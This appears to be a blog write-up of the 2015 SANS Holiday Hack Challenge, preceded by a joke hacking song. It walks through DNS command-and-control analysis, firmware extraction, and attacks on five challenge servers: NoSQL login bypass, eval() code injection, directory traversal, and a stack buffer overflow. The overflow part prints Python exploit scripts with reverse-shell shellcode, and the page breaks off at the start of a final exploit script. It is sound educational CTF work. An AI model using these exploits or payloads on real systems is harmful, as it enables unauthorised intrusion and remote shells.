Johnny – I hack Stuff – Cash?!










On A Monday I bought myself a modem (Uh Huh)
On A Tuesday I scanned the worldwide web (Oh Boy)
On A Wednesday my wordlist was cre-ated
On A Thursday Hydra said success and the boarder gateway fell…

I Got Shell —— Shell on your computer
I Got Root — Root on your machine
I Got Shell —— Shell on your computer
And them Jails —— them Jails They’re not about to slow me down

Am I the first to think of this?!

Posted in miscellaneous | Leave a comment

2015 SANS Holiday Hack Challenge Writeup (Walkthrough)

This year I learned of the SANS Holiday Hack Challenge for the first time and i’m glad i did! It was a totally awesome experience and must have been really time consuming to create. I especially liked it because the skills it teaches are all real world applicable, in contrast to some other VM’s / Challenges that feel more like puzzles.

So here comes my Walkthrough of the 2015 SANS Holiday Hack Challenge:

Disclaimer: The following Writeup sounds easier than it actually was! For the writeup’s sake I pretend that everything was straight-forward. However I struggled with a lot of the challenges for hours at least and it took a lot of persistence to get all of the following to work!

Intro: The Story

If you head to the Holiday Hack Challenge Website  you are presented with a funny story that sets up the following Challenges. Im not going to recap the entire story, go read that on the Website or in this Backup PDF of the Website.

Short and simple: A company is selling little Gnomes to put everywhere in your home as a game for the children. But beware the “Lead Children” of this story are nifty hackers and detect that the Gnome their father brought home is emitting WiFi Signals.

Part 1: Enter the Dosis Neighborhood

The Dosis Neighbourhood is a little browser game like those old Zelda like Adventure games. Inside the Neighbourhood you see other players running around and also NPCs wich are part of the story and hand out the actual challenges and give hints on how to solve them.

After a little running around you will find little Josh who will give you a link to the packet capture he created sniffing the gnomes traffic:


Beside a pcap file giyh-capture.pcap you are also given a python script which leverages scapy to automatically extract data from the pcap file:

#!/usr/bin/env python

# Copyright (c) 2105 Josh Dosis
import base64
from scapy.all import * # This script reuotuires Scapy

# Read the capture file into a list of packets

# Open the output file to save the extracted content from the pcap

for packet in packets:

# Make sure this is a DNS packet, with the rdata record where the content is stored
if (DNS in packet and hasattr(packet[DNS], 'an') and hasattr(packet[DNS].an, 'rdata')):

# Make sure it's from the Gnome, not the server
if != 53: continue

# Decode the base64 data

# Strip off the leading "FILE:" line in the decoded data
if decode[0:5] == "FILE:":


However Josh is asking our help because the script is not quite finished and the result needs some work.

Opening the pcap file in wireshark you are seeing a lot of WiFi Beacon Frame packets at first. Reading the provided python script and reading along the story and questions for part 1 it becomes clear that the pcap is about the DNS traffic. So if you filter out the WiFi Beacon Frames you are left with DNS and ARP Packets:

01-02 wireshark

Whats that? Base64 encoded Data in a DNS TXT response? This smells like Command & Controll / Data exfiltration via DNS!

Now to answer the questions of Part 1:

1) Which commands are sent across the Gnome’s command-and-control channel?

If you analyze the PCAP and the python script you quickly realize that the gnome is sending a big chunk of base64 encoded data, a picture, to the yet mysterious C&C Server:

So if you filter in the other direction (source port 53) you will get only the DNS Packets from the C&C Server to the Gnome. Now you could develop another Python script to extract the TXT DNS Data but I approached this by saving only the filtered packets to a new pcap file and running strings against it:

01-03 strings

A drawback of strings is that it grabs all ascii strings from the capture and not only the DNS TXT Part of the packet. If you compare the lines with the DNS TXT field of the packets in wireshark you see that you have to remove some characters from the above output.

The manually cleaned up base64 code can be easily decoded with burpsuite as you will also learn in the Dosis Neighbourhood:

01-04 burp

So here are the commands sent to the gnome:

EXEC:cat /tmp/iwlistscan.txt


2) What image appears in the photo the Gnome sent across the channel from the Dosis home?

Now to the python script and the packets flowing in the other direction! As you are also given a hint in the Dosis Neighbourhood the base64 decoded jpg picture is missing the File-Header so it wont be rendered by picture viewers.

I grabbed a random sample jpg from the internet and compared it to the output file from the python script side by side:

01-05 hexcompare

If you look closely you will spot the JPG header in the 28th Hexword. Before that there is probably still code from the Command and Control Channel. If you strip that you are rewarded with the following picture:

01-06 outfile1

So to answer the question: A Childs bedroom with the Subtitle “GnomeNET-NorthAmerica” appears in the image that is sent over the C2 channel!

Part 2: Firmware analysis

Now if you tell little Josh the Subtitle of the Image in the Dosis Neighborhood you unlock Part2 of the challenge:

02-01 unlock

Now in the next room you will find hack sister Jessica. She used her hacking skills to extract the firmware from the gnome and already is hinting at a password buried inside the firmware:

02-02 firmware

Now strings wont help us much as the Linux Partition contained in the “squashed” together binary blob is gzipped and thus wont reveal many readable strings as is.

This can be verified by running binwalk over the firmware:

02-03 binwalk

To “unsquash” the Filesystem that is embedded in the Firmware we can use firmware-mod-kit. But first we have to isolate the Squashfs filesystem using dd before we can unsquash it:

02-04 dd

02-05 unsquash

Now we are presented with a Linux Filesystem:

02-06 firmware filesys

Let’s answer the questions for part 2:

3) What operating system and CPU type are used in the Gnome? What type of web framework is the Gnome web interface built in?

If you have ever played around with OpenWRT you will quickly notice that this is infact OpenWRT. This can be deduced by looking at /etc/openwrt_release:

DISTRIB_DESCRIPTION='OpenWrt Designated Driver r47650'

This suggests that an arm based architecture is used! We can verify this by using “file” on a key binary on the system:

root@kali:/opt/firmware-mod-kit/squashfs-root/bin# file sh 
sh: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/, stripped

4) What kind of a database engine is used to support the Gnome web interface? What is the plaintext password stored in the Gnome database?

A little digging around reveals that node.js and mongodb are being used and also the DB connection password can be found:

02-07 node mongo

As shown above two credential pairs can be leveraged from the database:


Pay close attention to the order of the users in the Database, this will be important later on!

Part 3: Identifying the C&C servers and verifying the scope

Lets verify the admin password:

03-01 correct

And another hint is following:

03-02 next hint

Now Part 3 is jumping right to the questions:

5) What are the IP addresses of the five SuperGnomes scattered around the world, as verified by Tom Hessman in the Dosis neighborhood?

I should sho Dan? And Shodan I did! For the C&C Server IP address from the initial packet capture:

03-03 shodan1


Okay lets take a destinctive string from that and search for that. Et voila, the rest of the “SuperGnomes” are revealed:

03-04 shodan2

Now where can i find this oracle called Hessman? I could tell you that I bumped into the Lynn NPC Character and took a look at the Office Tour saw that there are secret rooms in the office and spottet some Gnome Legs dangling out of one of the shelves:

03-05 office tour
Hi @edskoudis! Big fan!

But that would be bullshit… I was just standing long enough in that room to see other players disappear into the bookshelf so i went there as well! And there was the Hess-Racle:

03-06 secret room1

So I quickly verified that the 5 IP Addresses found on Shodan are In-Scope:

03-07 in scope

One thing I tried next should be familiar to every gamer out there. If you find something peculiar like a flaw in a game you exploit it everywhere you can. In this case the secret room that could be entered through a bookshelf was instantly drawing my attention. And i started to run into every wall and bookshelf I could find!

For some reason the upper right corner of this same room directly drew my attention:

03-08 room2

Maybe because I actually took the virtual office tour and remembered the 2nd secret room adjacent to the first one. Or because there is a little light bar shining under the secret door. But I really found the second secret room on my own right away:

03-09 room2 unlocked

Right now there is nothing here but later on you will find some magic cookies here that will progress the Dosis Neighborhood game!

6) Where is each SuperGnome located geographically?

As Shodan has revealed: – Ashburne, United States, AWS – Brazil, AWS – Tokyo, Japan, AWS – Sydney, Australia, AWS – Boardman, United States, AWS

Part 4: Let the Hackfest beginn!

In the Dosis Neighborhood you get a task to track down the intern. One clue to his whereabouts can be obtained in the Netwars Convention Room in the Hotel:

04-01 have you seen

And Level 4 I saw! And it really elated me! Actual vulnerable Hosts on the Internet to hack. This is so much better than just hacking a vulnerable VM on my own computer! All this sophistication that went into this challenge to weave the browser game into the real world to teach real world applicable skills! Im still in awe!!!

Here are the questions for Part 4:

7) Please describe the vulnerabilities you discovered in the Gnome firmware.


This time im going to structure the answers to both questions according to the 5 IP Addresses/Super Gnomes (SG-01 – SG-05):

SG-01: Simple Password reuse

Vulnerability in the Gnome firmware: In this case the previously mentioned credentialset admin:SittingOnAShelf did the trick:

04-01 sg-01 1

On this SuperGnome the gnome.conf file could just be downloaded via the Webinterface:

04-02 sg-01 gnome conf

This drives home another important pentesting lesson! It’s not the goal to root / system all the machines. The goal is to steal the sensitive data! Operating Systems can be set up quickly, but if a simple circumstance gives an attacker access to the critical data (gnome.conf in this example) you don’t need full system compromise!

At this moment it also dawned on me that every SuperGnome has a different vulnerability that must be exploited t obtain the gnome.conf!

SG-02: Directory Traversal + Arbitrary Folder Creation 

Vulnerability in the Gnome firmware: For this SuperGnome two flaws in the Firmware needed be leveraged together. This was the most challenging SuperGnome for me as it took a bit stepping back and connecting the two separate flaws instead of focusing on just one flaw until it could be leveraged to get in.

First lets take a look at the Settings Upload source code in /www/routes/index.js:

// SETTINGS UPLOAD'/settings', function(req, res, next) {
if (sessions[sessionid].logged_in === true && sessions[sessionid].user_level > 99) { // AUGGIE: settings upload allowed for admins (admins are 100, currently)
var filen = req.body.filen;
var dirname = '/gnome/www/public/upload/' + newdir() + '/' + filen;
var msgs = [];
var free = 0;
disk.check('/', function(e, info) {
free =;
try {
msgs.push('Dir ' + dirname.substr(0,dirname.lastIndexOf('/')) + '/ created successfully!');
} catch(e) {
if (e.code != 'EEXIST')
throw e;
if (free < 99999999999) { // AUGGIE: I think this is breaking uploads? Stuart why did you set this so high?
msgs.push('Insufficient space! File creation error!');
res.msgs = msgs;
} else
res.render('index', { title: 'GIYH::ADMIN PORT V.01', session: sessions[sessionid], res: res });

As you can see you can use this functionality to create arbitrary named directories. Don’t be fooled by the Insufficient Space error message! If you look closely you see that the directory will be created regardless of this if condition!

Now with this information lets look at the source code of the Camera Viewer Page:

// STUART: Note: to limit disclosure issues, this code checks to make sure the user asked for a .png file
router.get('/cam', function(req, res, next) {
var camera = unescape(;
// check for .png
//if (camera.indexOf('.png') == -1) // STUART: Removing this...I think this is a better solution... right?
camera = camera + '.png'; // add .png if its not found
console.log("Cam:" + camera);
fs.access('./public/images/' + camera, fs.F_OK | fs.R_OK, function(e) {
if (e) {
res.end('File ./public/images/' + camera + ' does not exist or access denied!');
fs.readFile('./public/images/' + camera, function (e, data) {

As you can see here the fs.access should allow directory traversal as you can request arbitrary files. However the code will check if the directory string contains “.png” at any place in the string and adds it ad the end if it is not found.

Now in the code above extracted from the Firmware this check is commented out and replaced by a mandatory addition of the “.png” extension. However on the 5 SuperGnomes this code deviates to produce individual vulnerabilities in them. So the Firmware kinda contains commented out clues to all of the SuperGnomes and shows how to fix them (kinda).

So with this knowledge lets create an arbitrary directory containing “.png” in its name first:

04-02 sg-02 settings upload



Now with this directory lets give the directory traversal a shot using the Camera Viewer code:

04-04 sg-02 gnome conf

Bingo gnome.conf obtained! Because “.png” is contained in the string it wont be appended to the end of the request!

The same can be done with Burp:

04-05 sg-02 gnome conf2


Using this vulnerability I was able to obtain all Files on the SuperGnome including the Packet Capture and the factory image.

SG-03: node.js MongoDB login bypass

Vulnerability in the Gnome firmware: The solution to this SuperGnome is actually quite easy as you get pretty detailed instructions in the Dosis Neighborhood: This Blogpost

So lets take a look at the affected Login Code obtained from the Firmware (again /www/routes/index.js):

// LOGIN POST'/', function(req, res, next) {
var db = req.db;
var msgs = [];
db.get('users').findOne({username: req.body.username, password: req.body.password}, function (err, user) { // STUART: Removed this in favor of below. Really guys?
//db.get('users').findOne({username: (req.body.username || "").toString(10), password: (req.body.password || "").toString(10)}, function (err, user) { // LOUISE: allow passwords longer than 10 chars
if (err || !user) {
console.log('Invalid username and password: ' + req.body.username + '/' + req.body.password);
msgs.push('Invalid username or password!');
res.msgs = msgs;
res.render('index', { title: 'GIYH::ADMIN PORT V.01', session: sessions[req.cookies.sessionid], res: res });
} else {
sessionid = gen_session();
sessions[sessionid] = { username: user.username, logged_in: true, user_level: user.user_level };
console.log("User level:" + user.user_level);
res.cookie('sessionid', sessionid);
res.writeHead(301,{ Location: '/' });

Again: The vulnerable code exatcly as it is described in the blogpost is commented out, however it is still in place on SG-03!

With all this informations it should have been easy to bypass the login, however  I struggled with the URLEncoded string and still cant get it to work using the URL Encoded string:

04-06 sg-03 url burp failed

This attempt failed:

04-07 sg-03 login failed
After discussing this a bit with a fellow player I learned that you can just swap the url encoded form output with a JSON object:

04-08 sg-03 json burp

Now it worked:

04-09 sg-03 login granted

If you are a keen observer you noticed that I placed “admin” in the username field instead of the “[$gt]=” operator! Remember when I pointed out that there is a credentialset “user:user” in the MongoDB that comes before the admin entry?
As described in the Blogpost the vulnerable DataBase request will grab the first matching user. So in order to get the admin login you need to specify the user while bypassing the password requirement!

With the login bypassed the gnome.conf and the other files were accessible via the File section just like on SG-01:

04-10 sg-03 gnome conf

SG-04: node.js eval() SSJS 

Vulnerability in the Gnome firmware: On this SuperGnome you have the ability to upload files when logging in with the aquired credentialset “admin:SittingOnAShelf”:

04-11 sg-04 file upload


Besides specifying a file to upload you can select a post-processing filter. Lets take at the http request in burp when uploading a file:

04-12 sg-04 burp

Here is the responsible java script function from the firmware:

// FILES UPLOAD'/files', upload.single('file'), function(req, res, next) {
if (sessions[sessionid].logged_in === true && sessions[sessionid].user_level > 99) { // NEDFORD: this should be 99 not 100 so admins can upload
var msgs = [];
file = req.file.buffer;
if (req.file.mimetype === 'image/png') {
msgs.push('Upload successful.');
var postproc_syntax = req.body.postproc;
console.log("File upload syntax:" + postproc_syntax);
if (postproc_syntax != 'none' && postproc_syntax !== undefined) {
msgs.push('Executing post process...');
var result; {
result = eval('(' + postproc_syntax + ')');
// STUART: (WIP) working to improve image uploads to do some post processing.
msgs.push('Post process result: ' + result);
msgs.push('File pending super-admin approval.');
res.msgs = msgs;
} else {
msgs.push('File not one of the approved formats: .png');
res.msgs = msgs;
} else
res.render('index', { title: 'GIYH::ADMIN PORT V.01', session: sessions[sessionid], res: res });

Ahhh an eval() call! Giving the user of a web application control over an eval() function essentially means Server Side Code Execution by design! Or Server Side JavaScript execution short SSJS as explained thoroughly in this Blackhat Paper you are provided as a hint in the dosis neighborhood.

Also take notice of the mime-type check for “image/png”!

Now lets take those information and apply them to burp:

04-13 sg-04 gnome conf

This method worked fine for acquiring text files. However to download the two zipfiles containing the packet capture and the factory image this method did not work.

Instead a file read that encodes the data into base64 was required:


Extracting the base64 text from this reply and decoding it provided the two zip files.

Using this vulnerability it should also be possible to obtain a remote shell by uploading arbitrary code (like a reverse shell) to the web server and executing it. But as I already obtained the files I required and other challenges were still waiting I did not pursue this path any further.

SG-05: BOF exploit in sgstatd

Vulnerability in the Gnome firmware: This was the most fun vulnerability to exploit of the 5 SuperGnomes!

Lets take a look at an nmap scan of SG-05:

04-33 sg05 nmap

Now if we only had a way to analyze this service on port 4242 more closely!

Lets go back to the Gnome firmware we got in the Dosis Neighborhood. When analyzing a firmware a good way to locate “custom code” is to check the init.d folder for interesting startscripts:

04-15 sg-05 initd

I actually looked at all start scripts. Two of them caught my eyes right away: “sgdnsc2” and sgstatd. For one because they are the only two scripts that do not seem to be native for an openwrt setup. Also sgdnsc2 clearly means “dns command and control” and thus is very suspicious!

This could be verified quickly by taking a peak inside:

04-16 sg-05 head sg

While checking up on the two binaries something strange could be learned:

04-17 sg-05 sgstatd intel binary

Only the sgdnsc2 binary is actually an ARM binary! The sgstatd binary is an Intel 32 bit binary. No wonder the comments in the init script point out that the binary is working fine in the dev environment but not on the gnome! The (fictitious) dev environment must be an  Intel 32bit platform and someone (fictitiously) forget to compile it for the ARM platform before including it in the gnome’s firmware!

Good for me because I can simply run it on my Kali! And see its also listening on Port 4242:

04-18 sg-05 sgstatd run


running unknown binaries from the internet without knowing what they do is neither good nor secure practice!!!  In this case however I trust the SANS institutes intention and I have a Snapshot of my Kali VM on hand if should break. 

But what would be a better practice? If you could obtain the source of the binary you could study it and compile the studied source code so you exactly know what the resulting binary will and will not do!

Good thing every other SuperGnome contained a file called “” which includes the c sourcecode for both binaries:

04-19 sg-05 sourcecode

Another approach that is also mentioned in the Dosis Neighborhood would be statical binary analysis with Tools Like IDA Pro or Hopper. However binary analysis and Assembly is currently a bit over my head and from experience I know that I can develop an easy exploit without the sourcecode or a Disassembler.

I the future I will need to dive into this topic tough for sure!

So to continue with the sgstatd binary:

I looked at the obvious functions the command line provided me when connecting to the Server via TCP Port 4242:

04-20 sg-05 sgstatd functions

However none of the provided options let me write to a string that can be overflown!
So its time to look at the sourcecode. Here is the interesting part for this challenge:

#include "sgnet.h"
#include "sgstatd.h"
#include <unistd.h>

//user to drop privileges to
const char *USER = "nobody";
//port to bind and listen on
const unsigned short PORT = 4242;

int child_main(int sd) //handler for incoming connections
int choice = 0;
FILE *fp;
char path[1000];
char bin[100];

//printf("New Connection\n");
//printf("/bin/cat /home/grinch/flag.txt\n");

if (choice != 2) {
write(sd, "\nWelcome to the SuperGnome Server Status Center!\n", 51);
write(sd, "Please enter one of the following options:\n\n", 45);
write(sd, "1 - Analyze hard disk usage\n", 28);
write(sd, "2 - List open TCP sockets\n", 26);
write(sd, "3 - Check logged in users\n", 27);

recv(sd, &choice, 1, 0);

switch (choice) {
case 49:
fp = popen("/bin/df", "r");
if (fp == NULL) {
printf("Failed to run command\n");
while (fgets(path, sizeof(path), fp) != NULL) {
sgnet_writes(sd, path);


case 50:
fp = popen("/bin/netstat -tan", "r");
if (fp == NULL) {
printf("Failed to run command\n");
while (fgets(path, sizeof(path) - 1, fp) != NULL) {
sgnet_writes(sd, path);

case 51:
fp = popen("/usr/bin/who", "r");
if (fp == NULL) {
printf("Failed to run command\n");
while (fgets(path, sizeof(path) - 1, fp) != NULL) {
sgnet_writes(sd, path);

case 88:
write(sd, "\n\nH", 4);
write(sd, "i", 1);
write(sd, "d", 1);
write(sd, "d", 1);
write(sd, "e", 1);
write(sd, "n", 1);
write(sd, " ", 1);
write(sd, "c", 1);
write(sd, "o", 1);
write(sd, "m", 1);
write(sd, "m", 1);
write(sd, "a", 1);
write(sd, "n", 1);
write(sd, "d", 1);
write(sd, " ", 1);
write(sd, "d", 1);
write(sd, "e", 1);
write(sd, "t", 1);
write(sd, "e", 1);
write(sd, "c", 1);
write(sd, "t", 1);
write(sd, "e", 1);
write(sd, "d", 1);
write(sd, "!\n\n", 4);
write(sd, "Enter a short message to share with GnomeNet (please allow 10 seconds) =>; ", 75);

sgnet_writes(sd, "\nRequest Completed!\n\n");

write(sd, "Invalid choice!\n", 17);

shutdown(sd, SHUT_WR);
return 0;

int sgnet_exit()
printf("Canary not repaired.\n");

int sgstatd(sd)
__asm__("movl $0xe4ffffe4, -4(%ebp)");
//Canary pushed

char bin[100];
write(sd, "\nThis function is protected!\n", 30);
//recv(sd, &bin, 200, 0);
sgnet_readn(sd, &bin, 200);
__asm__("movl -4(%ebp), %edx\n\t" "xor $0xe4ffffe4, %edx\n\t" // Canary checked
"jne sgnet_exit");
return 0;


int main(int argc, char **argv) //main function
printf("Server started...\n");
int sd;
//socket descriptor
sd = sgnet_listen(PORT, IPPROTO_TCP, NULL);
sgnet_server(sd, USER, child_main);
return 0;

Notice the menu switch/case instruction? The Options 49,50,51 represented 1,2,3 and there is also another Option 88! But how to reach that?

I was quickly able to determine that 49,50,51 represent 1,2,3 in the ASCII Table! So what does 88 stand for? The big letter X:

04-21 sg-05 hidden function

A hidden function! And its accepting a string! This smells like a basic stack buffer overflow! Good thing I learnt to exploit those during OSCP and from Corelan!

However I never debugged a Binary on Linux with gdb before, only with Immunity Debugger on Windows!

The biggest challenge I was facing is the fact that from my past experience with exploit writing and playing around with metasploit is, that I knew that network daemons are not single threaded applications that crash when a single user connects and overflows a buffer. Instead every network connection will likely spawn a separate child process which will free up the network socket for new connections. Only the spawned child will die on buffer overflow condition!

So I need to find out how to bring gdb to “follow” a spawned “child” when a network daemon process is “forked”!

Luckily @januszjasinski was kind enough to chat with me about this issue and helped me by providing me with the required gdb commands. Thank you Janusz!

So this is the command to tell gdb to follow a child process:

gdb> set follow-fork-mode child

Next I wrote a little bof-poc python script to verify a crash condition:

root@kali:~/link/writeup# cat
# debug with gdb like this:
# #gdb sgstatd
# #gdb> set follow-fork-mode child
# #gdb> run

import socket
import time
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = 'B' * 2000

 print "\nSending evil buffer..."
 data = s.recv(5024)
 print data
 s.send('X' + '\r\n')
 print s.recv(5000)
 s.send(buffer + '\r\n')
 data = s.recv(5024)
 print data
 print "Could not connect to sgstatd"

When I execute this BOF-POC Script gdb shows the following:

04-22 sg-05 kill canary

I killed the canary! Thats why I called the chose the name for this BOF-POC script…

Until this moment I never encountered a stack canary protection before but I already knew the purpose of canaries in Coal Mines from other story (cant remember wich tough) and googling the error message quickly revealed the purpose of this:

Instead of warning miners of deadly gas concentrations the stack canary is just a secret value that is pushed on the stack before the call of a function and is checked when returning from it. If you overflow the buffer and overwrite the stack canary the program will be killed and your shellcode payload will not be executed.

Good thing we already looked at the sourceode and noticed the following function:

int sgstatd(sd)
__asm__(“movl $0xe4ffffe4, -4(%ebp)”);
//Canary pushed

char bin[100];
write(sd, “\nThis function is protected!\n”, 30);
//recv(sd, &bin, 200, 0);
sgnet_readn(sd, &bin, 200);
__asm__(“movl -4(%ebp), %edx\n\t” “xor $0xe4ffffe4, %edx\n\t” // Canary checked
“jne sgnet_exit”);
return 0;


I am not a programmer and i don’t understand much c code but from this code snipped I can easily determine 3 things:

  1. The exact canary value is static: 0xE4FFFFE4
  2. A character array of 100 bytes / characters is reserved
  3. Up to 200 characters are being read from the command line

A classic BOF condition!

Now I could have read up all of this and learn how to work with stack canaries but I thought of something simpler. Like with determining the exact offset of the EIP it should be possible to locate the exact location where the canary is stored:

After fiddling arround a bit I could overwrite the canary with the following modification to the script:

root@kali:~/link# cat
# debug with gdb like this:
# #gdb sgstatd
# #gdb> set follow-fork-mode child
# #gdb> run

import socket
import time
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = 'B' * 1000
padding = 'A' * 102
canary = '\xe4\xff\xff\xe4'

print "\nSending evil buffer...";
data = s.recv(5024)
print data
s.send('X' + '\r\n')
print s.recv(5000)
s.send(padding + canary + buffer + '\r\n')
#s.send('AA' + canary * 2000 + 'r\n')
data = s.recv(5024)
print data
print "Could not connect to sgstatd"

Lets see the result in action:

04-22 sg-05 kill canary

Bazinga! I circumvented the Canary Stack protection and control the EIP!

Now the following alteration to locate the exact offset of EIP after the canary:

root@kali:~/link/writeup# cat
# debug with gdb like this:
# #gdb sgstatd
# #gdb> set follow-fork-mode child
# #gdb> run

import socket
import time
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = 'B' * 1000
padding = 'A' * 102
canary = '\xe4\xff\xff\xe4'

#created with metasploits pattern_create.rb script
pattern = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B'

print "\nSending evil buffer..."
data = s.recv(5024)
print data
s.send('X' + '\r\n')
print s.recv(5000)
s.send(padding + canary + pattern + '\r\n')
#s.send('AA' + canary * 2000 + 'r\n')
data = s.recv(5024)
print data
print "Could not connect to sgstatd"

Meanwhile in gdb land:

04-24 sg-05 eip offset

Now verifying the offset using metasploit’s pattern offset script:

root@kali:~/link/writeup# pattern_offset 0x61413161
[*] Exact match at offset 4

Okay lets verify this with the following alteration of the script:

# debug with gdb like this:
# #gdb sgstatd
# #gdb> set follow-fork-mode child
# #gdb> run

import socket
import time
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = 'B' * 1000
padding = 'A' * 102
canary = '\xe4\xff\xff\xe4'

#offset at 4:
#root@kali:~# pattern_offset 0x61413161
#[*] Exact match at offset 4

print "\nSending evil buffer..."
data = s.recv(5024)
print data
s.send('X' + '\r\n')
print s.recv(5000)
s.send(padding + canary + 'B' * 4 + 'C' * 4 + '\r\n')
data = s.recv(5024)
print data
print "Could not connect to sgstatd"

Bingo! We got 43! We now _really_ control EIP!:

04-25 sg-05 control eip

So as I learned in the Basic exploit development courses I now still need a reliable way to point the EIP register to my own shellcode! With DLL Rebaseing and ASLR I will not be able to jump to a hardcoded memory address. So the easiest way is to search for “assembly gadgets” in the existing code.

Something like jmp esp which can be translated into opcode with metasploits nasm_shell:

root@kali:~# /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > jmp esp
00000000  FFE4              jmp esp

Okay lets look for FF E4. I actually did it with edb’s Opcode Searcher Plugin:

04-26 sg-05 edb opcode searcher

And we have a winner at: 0x0804936b

So lets test this by placing this address in the EIP register and placing a nopsled behind it. Note in the following script how the Address in the EIP is fed in reverse. Thats how the x86 little endian architecture expects to be fed in reverse!

The nopsled is not important for this exploit, however it is fun to see the CPU sliding down the sled :)

Now the script:

root@kali:~/link/writeup# cat
# debug with gdb like this:
# #gdb sgstatd
# #gdb> set follow-fork-mode child
# #gdb> run

import socket
import time
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = 'B' * 1000
padding = 'A' * 102
canary = '\xe4\xff\xff\xe4'
nopsled = '\x90' * 200 

#offset at 4:
#root@kali:~# pattern_offset 0x61413161
#[*] Exact match at offset 4

# jmp esp at: 0804936b
eip = '\x6b\x93\x04\x08'

        print "\nSending evil buffer..."
        data = s.recv(5024)
	print data
        s.send('X' + '\r\n')
	print s.recv(5000)
	s.send(padding + canary + 'B' * 4 + eip + nopsled + '\r\n')
	data = s.recv(5024)
	print data
        print "Could not connect to sgstatd"

In gdb we can now set a breakpoint at the jmp esp address and look at the registers when the program hits the breakpoint:

04-27 sg-05 look at mem

In this screenshot we can see that when the CPU is hitting the breakpoint the EIP is pointing at our “jmp esp” instructin and the ESP is pointing at the address 0xbfffee00 where the nopsleed is awaiting the CPU.

x/100x $esp at last gives us a nice overview of the stack at this point.

Important: You can see in the script that I placed a 200 byte Nopsled behin the EIP but in the screenshot above you can see that the NOPs end at the highlighted offset after only 84 bytes / nops! Thats the maximum space available for shellcode!

So if we want to keep the exploit simple we need to find a small payload!

Luckily the simplest reverse shell payload metasploit can generate has only 68 bytes:
04-28 sg-05 msfvenom

So lets build an exploit PoC:

root@kali:~/link/writeup# cat
# debug with gdb like this:
# #gdb sgstatd
# #gdb> set follow-fork-mode child
# #gdb> run

import socket
import time
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = 'B' * 1000
padding = 'A' * 102
canary = '\xe4\xff\xff\xe4'
nopsled = '\x90' * 4

#offset at 4:
#root@kali:~# pattern_offset 0x61413161
#[*] Exact match at offset 4

# jmp esp at: 0804936b
eip = '\x6b\x93\x04\x08'

#root@kali:~# msfvenom -p linux/x86/shell_reverse_tcp LHOST= LPORT=80 -f pyNo platform was selected, choosing Msf::Module::Platform::Linux from the payload
#Payload size: 68 bytes
buf = ""
buf += "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66"
buf += "\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f"
buf += "\x00\x00\x01\x68\x02\x00\x00\x50\x89\xe1\xb0\x66\x50"
buf += "\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x2f\x2f\x73"
buf += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0"
buf += "\x0b\xcd\x80"

print "\nSending evil buffer..."
data = s.recv(5024)
print data
s.send('X' + '\r\n')
print s.recv(5000)
s.send(padding + canary + 'B' * 4 + eip + nopsled + buf + 'C' * 500 + '\r\n')
data = s.recv(5024)
print data
print "Could not connect to sgstatd"

Again in gdb:

04-29 sg-05 dep breaks

Now we can see DEP breaking the exploit :(
Good thing the Dosis Neighborhood already gave a hint on how to disable DEP on the exploit development systeme!

So rebooting Kali it is:

04-30 sg-05 grub noexec

Quickly verifying that DEP is disabled after reboot:

04-31 sg-05 noexec

Now lets fireup a netcat listener, start sgstatd again and retrying the exploit:

04-32 sg-05 exploit working

We got a reverse shell!!! \o/… From our localhost, sent to our localhost…

Lets cook up a final exploit for our SG-05 on the Interwebz:

root@kali:~/link# cat
# exploit for SupgerGnome 05 sgstatd

import socket
import time
